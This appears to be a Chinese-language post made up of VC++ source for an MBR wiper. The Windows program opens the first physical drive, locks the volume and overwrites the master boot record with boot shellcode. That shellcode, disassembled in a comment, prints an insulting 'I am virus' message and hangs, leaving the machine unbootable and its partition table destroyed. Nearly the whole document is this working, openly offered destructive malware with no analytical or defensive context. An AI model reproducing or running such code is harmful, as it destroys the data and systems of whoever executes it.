通过向主引导记录(mbr)中写入垃圾数据来摧毁硬盘数据vc++编译

#include    
#include    
  
unsigned char scode[] =  
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"  
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"  
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";  
/* 
00000000  B81200 mov ax, 12H ; ah = 0, al = 12h (640 * 480) 
00000003  CD10 int 10h ; 进入图形显示方式，隐藏光标 
00000005  BD187C mov bp, Msg ; ES:BP = 串地址 
00000008  B91800 mov cx, 18h ; CX = 串长度 
0000000B  B80113 mov ax, 1301h ; AH = 13,  AL = 01h 
0000000E  BB0C00 mov bx, 000ch ; 页号为0(BH = 0) 黑底红字(BL = 0Ch,高亮) 
00000011  BA1D0E mov dx, 0e1dh ; dh行, dl列 
00000014  CD10 int 10h ; 10h 号中断 
00000016  E2FE loop $ 
Msg: db "I am virus! Fuck you :-)"  
*/  
int WINAPI WinMain(  
  HINSTANCE hInstance,  // handle to current instance   
  HINSTANCE hPrevInstance,  // handle to previous instance   
  LPSTR lpCmdLine,      // pointer to command line   
  int nCmdShow          // show state of window   
)  
{  
HANDLE hDevice;  
DWORD dwBytesWritten, dwBytesReturned;  
BYTE pMBR[512] = {0};  
  
// 重新构造MBR   
memcpy(pMBR, scode, sizeof(scode) - 1);  
pMBR[510] = 0x55;  
pMBR[511] = 0xAA;  
  
hDevice = CreateFile  
(  
"\\\\.\\PHYSICALDRIVE0",  
GENERIC_READ | GENERIC_WRITE,  
FILE_SHARE_READ | FILE_SHARE_WRITE,  
NULL,  
OPEN_EXISTING,  
0,  
NULL  
);  
if (hDevice == INVALID_HANDLE_VALUE)  
  return -1;  
DeviceIoControl  
(  
hDevice,   
FSCTL_LOCK_VOLUME,   
NULL,   
0,   
NULL,   
0,   
&dwBytesReturned,   
NULL  
);  
// 写入病毒内容   
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);  
DeviceIoControl  
(  
hDevice,   
FSCTL_UNLOCK_VOLUME,   
NULL,   
0,   
NULL,   
0,   
&dwBytesReturned,   
NULL  
);  
CloseHandle(hDevice);  
return 0;  
}